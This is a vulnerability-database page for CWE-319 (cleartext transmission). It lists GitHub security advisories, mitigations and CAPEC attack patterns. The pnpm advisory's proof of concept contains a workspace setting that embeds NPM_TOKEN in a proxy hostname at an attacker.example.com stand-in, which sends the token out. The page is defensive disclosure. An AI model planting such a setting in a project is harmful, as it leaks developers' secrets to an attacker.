CWE-319
AllowedCleartext Transmission of Sensitive Information
Abstraction: Base · Status: Draft
The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
1202 vulnerabilities reference this CWE, most recent first.
GHSA-VV8P-V9Q5-4PVF
Vulnerability from github – Published: 2025-05-02 15:31 – Updated: 2025-05-02 15:31An issue was discovered on goTenna v1 devices with app 5.5.3 and firmware 0.25.5. A command channel includes the next hop. which can be intercepted and used to break frequency hopping.
{
"affected": [],
"aliases": [
"CVE-2025-32887"
],
"database_specific": {
"cwe_ids": [
"CWE-319"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-01T18:15:55Z",
"severity": "HIGH"
},
"details": "An issue was discovered on goTenna v1 devices with app 5.5.3 and firmware 0.25.5. A command channel includes the next hop. which can be intercepted and used to break frequency hopping.",
"id": "GHSA-vv8p-v9q5-4pvf",
"modified": "2025-05-02T15:31:44Z",
"published": "2025-05-02T15:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32887"
},
{
"type": "WEB",
"url": "https://github.com/Dollarhyde/goTenna_v1_and_Mesh_vulnerabilities"
},
{
"type": "WEB",
"url": "https://gotenna.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VVGM-59FR-GPVH
Vulnerability from github – Published: 2025-08-19 00:30 – Updated: 2025-08-19 00:30The Sante PACS Server Web Portal sends credential information without encryption.
{
"affected": [],
"aliases": [
"CVE-2025-54156"
],
"database_specific": {
"cwe_ids": [
"CWE-319",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-18T22:15:28Z",
"severity": "CRITICAL"
},
"details": "The Sante PACS Server Web Portal sends credential information without encryption.",
"id": "GHSA-vvgm-59fr-gpvh",
"modified": "2025-08-19T00:30:33Z",
"published": "2025-08-19T00:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54156"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-25-224-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VW7C-29JJ-VH2H
Vulnerability from github – Published: 2026-08-24 18:31 – Updated: 2026-09-03 18:31Potential security vulnerabilities have been identified in HP Easy Start for macOS, versions prior to 2.16.7.260722. These potential vulnerabilities may lead to escalation of privilege. HP is releasing updates to mitigate these potential vulnerabilities.
{
"affected": [],
"aliases": [
"CVE-2026-12556"
],
"database_specific": {
"cwe_ids": [
"CWE-319"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-24T16:16:55Z",
"severity": "HIGH"
},
"details": "Potential security vulnerabilities have been identified in HP Easy Start for macOS, versions prior to 2.16.7.260722. These potential vulnerabilities may lead to escalation of privilege. HP is releasing updates to mitigate these potential vulnerabilities.",
"id": "GHSA-vw7c-29jj-vh2h",
"modified": "2026-09-03T18:31:28Z",
"published": "2026-08-24T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12556"
},
{
"type": "WEB",
"url": "https://ciphersecuritylabs.com/papers/rooted-in-trust-breaking-hp-easy-starts-macos-privilege-boundaries"
},
{
"type": "WEB",
"url": "https://support.hp.com/us-en/document/ish_15512340-15512362-16/hpsbpi04124"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VWF6-CHVJ-MFJP
Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-07-11 00:00MagicMotion Flamingo 2 lacks BLE encryption, enabling data sniffing and packet forgery.
{
"affected": [],
"aliases": [
"CVE-2020-12730"
],
"database_specific": {
"cwe_ids": [
"CWE-311",
"CWE-319"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-15T15:15:00Z",
"severity": "MODERATE"
},
"details": "MagicMotion Flamingo 2 lacks BLE encryption, enabling data sniffing and packet forgery.",
"id": "GHSA-vwf6-chvj-mfjp",
"modified": "2022-07-11T00:00:24Z",
"published": "2022-05-24T19:08:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12730"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/319.html"
},
{
"type": "WEB",
"url": "http://www.magicsmotion.com/p-flamingo.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VWWC-97Q7-J4WG
Vulnerability from github – Published: 2026-01-09 12:32 – Updated: 2026-01-09 12:32This vulnerability exists in Tenda wireless routers (300Mbps Wireless Router F3 and N300 Easy Setup Router) due to the transmission of credentials encoded using reversible Base64 encoding through the web-based administrative interface. An attacker on the same network could exploit this vulnerability by intercepting network traffic and capturing the Base64-encoded credentials.
Successful exploitation of this vulnerability could allow the attacker to obtain sensitive information and gain unauthorized access to the targeted device.
{
"affected": [],
"aliases": [
"CVE-2026-22080"
],
"database_specific": {
"cwe_ids": [
"CWE-319"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-09T11:15:51Z",
"severity": "HIGH"
},
"details": "This vulnerability exists in Tenda wireless routers (300Mbps Wireless Router F3 and N300 Easy Setup Router) due to the transmission of credentials encoded using reversible Base64 encoding through the web-based administrative interface. An attacker on the same network could exploit this vulnerability by intercepting network traffic and capturing the Base64-encoded credentials.\n\nSuccessful exploitation of this vulnerability could allow the attacker to obtain sensitive information and gain unauthorized access to the targeted device.",
"id": "GHSA-vwwc-97q7-j4wg",
"modified": "2026-01-09T12:32:25Z",
"published": "2026-01-09T12:32:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22080"
},
{
"type": "WEB",
"url": "https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01\u0026VLCODE=CIVN-2026-0004"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VX52-2968-3VC6
Vulnerability from github – Published: 2026-09-01 19:22 – Updated: 2026-09-01 19:22Summary
pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as NPM_TOKEN or GITHUB_TOKEN.
This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.
Impact
An attacker who controls only the contents of a repository's pnpm-workspace.yaml — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.
This turns "I can author a project manifest" into "I read the victim's environment secrets."
Affected versions
Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.
- pnpm 11.x:
>= 11.0.0, < 11.11.0 - pnpm 10.x:
>= 10.7.0, < 10.34.5
The Rust port (pacquet) and the registry server (pnpr) are not affected.
Patches
- pnpm 11.11.0 and later
- pnpm 10.34.5 and later
The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.
Workarounds
Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.
Proof of concept
# pnpm-workspace.yaml in an untrusted repository
packages:
- .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"
With NPM_TOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.
Unit level:
process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched: o.httpsProxy === undefined
Using registry or pnprServer in place of httpsProxy does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.
Credit
Reported privately. A second finding in the original report — the Authorization header being retained across a same-host https -> http redirect — was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.11.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "10.7.0"
},
{
"fixed": "10.34.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-201",
"CWE-319",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T19:22:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\npnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project\u0027s `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds \u2014 and thereby exfiltrates \u2014 an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`.\n\nThis bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.\n\n## Impact\n\nAn attacker who controls only the contents of a repository\u0027s `pnpm-workspace.yaml` \u2014 a public repo, a fork, or a supply-chain pull request \u2014 can read many values out of the victim\u0027s process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim\u0027s store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.\n\nThis turns \"I can author a project manifest\" into \"I read the victim\u0027s environment secrets.\"\n\n## Affected versions\n\nIntroduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.\n\n- pnpm 11.x: `\u003e= 11.0.0, \u003c 11.11.0`\n- pnpm 10.x: `\u003e= 10.7.0, \u003c 10.34.5`\n\nThe Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected.\n\n## Patches\n\n- **pnpm 11.11.0** and later\n- **pnpm 10.34.5** and later\n\nThe fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded \u2014 matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader\u0027s `isRequestDestinationValueKey`. Regression tests cover the proxy keys.\n\n## Workarounds\n\nUpgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository\u0027s `pnpm-workspace.yaml` for proxy settings before installing.\n\n## Proof of concept\n\n```yaml\n# pnpm-workspace.yaml in an untrusted repository\npackages:\n - .\nhttpsProxy: \"http://${NPM_TOKEN}.collector.attacker.example.com:8080\"\n```\n\nWith `NPM_TOKEN` set in the victim\u0027s environment, `pnpm install` expands the placeholder and routes install traffic through the attacker\u0027s host, whose hostname (and DNS query) carries the token.\n\nUnit level:\n\n```js\nprocess.env.PNPM_TEST_TOKEN = \u0027secret\u0027\nconst o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: \u0027http://${PNPM_TEST_TOKEN}.evil/\u0027 })\n// Vulnerable: o.httpsProxy === \u0027http://secret.evil/\u0027\n// Patched: o.httpsProxy === undefined\n```\n\nUsing `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version \u2014 those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.\n\n## Credit\n\nReported privately. A second finding in the original report \u2014 the `Authorization` header being retained across a same-host `https` -\u003e `http` redirect \u2014 was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.",
"id": "GHSA-vx52-2968-3vc6",
"modified": "2026-09-01T19:22:43Z",
"published": "2026-09-01T19:22:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/pull/12871"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/pull/12898"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/commit/36928beae9afb64a2a6a1221df54e66d361320c8"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/commit/5a4daec4bd5f0170b18ae053aff093eea56368ba"
},
{
"type": "WEB",
"url": "https://github.com/orgs/pnpm/discussions/13598"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/releases/tag/v10.34.5"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/releases/tag/v11.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml"
}
GHSA-VXJG-XMRQ-X393
Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44In the "NQ Contacts Backup & Restore" application 1.1 for Android, no HTTPS is used for transmitting login and synced user data. When logging in, the username is transmitted in cleartext along with an SHA-1 hash of the password. The attacker can either crack this hash or use it for further attacks where only the hash value is required.
{
"affected": [],
"aliases": [
"CVE-2017-15999"
],
"database_specific": {
"cwe_ids": [
"CWE-319"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-29T17:29:00Z",
"severity": "CRITICAL"
},
"details": "In the \"NQ Contacts Backup \u0026 Restore\" application 1.1 for Android, no HTTPS is used for transmitting login and synced user data. When logging in, the username is transmitted in cleartext along with an SHA-1 hash of the password. The attacker can either crack this hash or use it for further attacks where only the hash value is required.",
"id": "GHSA-vxjg-xmrq-x393",
"modified": "2022-05-13T01:44:03Z",
"published": "2022-05-13T01:44:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15999"
},
{
"type": "WEB",
"url": "https://1337sec.blogspot.de/2017/10/auditing-nq-contacts-backup-restore-11.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VXRJ-G732-GG2H
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46An issue was discovered in certain Apple products. iOS before 11 is affected. macOS before 10.13 is affected. The issue involves the "Mail Drafts" component. It allows remote attackers to obtain sensitive information by reading unintended cleartext transmissions.
{
"affected": [],
"aliases": [
"CVE-2017-7078"
],
"database_specific": {
"cwe_ids": [
"CWE-319"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-23T01:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in certain Apple products. iOS before 11 is affected. macOS before 10.13 is affected. The issue involves the \"Mail Drafts\" component. It allows remote attackers to obtain sensitive information by reading unintended cleartext transmissions.",
"id": "GHSA-vxrj-g732-gg2h",
"modified": "2022-05-13T01:46:51Z",
"published": "2022-05-13T01:46:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7078"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT208112"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT208144"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100999"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1039427"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W2C9-99W6-QCRH
Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2022-05-24 17:28An issue was discovered in Gradle Enterprise before 2020.2.5. Lack of the secure attribute on the anti-CSRF cookie allows an attacker (with the ability to read HTTP traffic) to obtain a user's anti-CSRF token if the user initiates a cleartext HTTP request.
{
"affected": [],
"aliases": [
"CVE-2020-15767"
],
"database_specific": {
"cwe_ids": [
"CWE-311",
"CWE-319"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-18T14:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Gradle Enterprise before 2020.2.5. Lack of the secure attribute on the anti-CSRF cookie allows an attacker (with the ability to read HTTP traffic) to obtain a user\u0027s anti-CSRF token if the user initiates a cleartext HTTP request.",
"id": "GHSA-w2c9-99w6-qcrh",
"modified": "2022-05-24T17:28:54Z",
"published": "2022-05-24T17:28:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15767"
},
{
"type": "WEB",
"url": "https://github.com/gradle/gradle/security/advisories"
},
{
"type": "WEB",
"url": "https://security.gradle.com/advisory/CVE-2020-15767"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W3FV-769W-7RV4
Vulnerability from github – Published: 2026-09-01 21:31 – Updated: 2026-09-01 21:31A vulnerability in the web-based management interface of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to gain insight into some data handled by the affected interface. A successful exploit could allow an attacker to gain access to some data in a cleartext format possibly exposing other network infrastructure to further compromise.
{
"affected": [],
"aliases": [
"CVE-2026-73743"
],
"database_specific": {
"cwe_ids": [
"CWE-319"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-01T20:17:21Z",
"severity": "LOW"
},
"details": "A vulnerability in the web-based management interface of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to gain insight into some data handled by the affected interface. A successful exploit could allow an attacker to gain access to some data in a cleartext format possibly exposing other network infrastructure to further compromise.",
"id": "GHSA-w3fv-769w-7rv4",
"modified": "2026-09-01T21:31:50Z",
"published": "2026-09-01T21:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73743"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05133en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Before transmitting, encrypt the data using reliable, confidentiality-protecting cryptographic protocols.
Mitigation
When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.
Mitigation
When designing hardware platforms, ensure that approved encryption algorithms (such as those recommended by NIST) protect paths from security critical data to trusted user applications.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
Mitigation
Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-117: Interception
An adversary monitors data streams to or from the target for information gathering purposes. This attack may be undertaken to solely gather sensitive information or to support a further attack against the target. This attack pattern can involve sniffing network traffic as well as other types of data streams (e.g. radio). The adversary can attempt to initiate the establishment of a data stream or passively observe the communications as they unfold. In all variants of this attack, the adversary is not the intended recipient of the data stream. In contrast to other means of gathering information (e.g., targeting data leaks), the adversary must actively position themself so as to observe explicit data channels (e.g. network traffic) and read the content. However, this attack differs from a Adversary-In-the-Middle (CAPEC-94) attack, as the adversary does not alter the content of the communications nor forward data to the intended recipient.
CAPEC-383: Harvesting Information via API Event Monitoring
An adversary hosts an event within an application framework and then monitors the data exchanged during the course of the event for the purpose of harvesting any important data leaked during the transactions. One example could be harvesting lists of usernames or userIDs for the purpose of sending spam messages to those users. One example of this type of attack involves the adversary creating an event within the sub-application. Assume the adversary hosts a "virtual sale" of rare items. As other users enter the event, the attacker records via AiTM (CAPEC-94) proxy the user_ids and usernames of everyone who attends. The adversary would then be able to spam those users within the application using an automated script.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.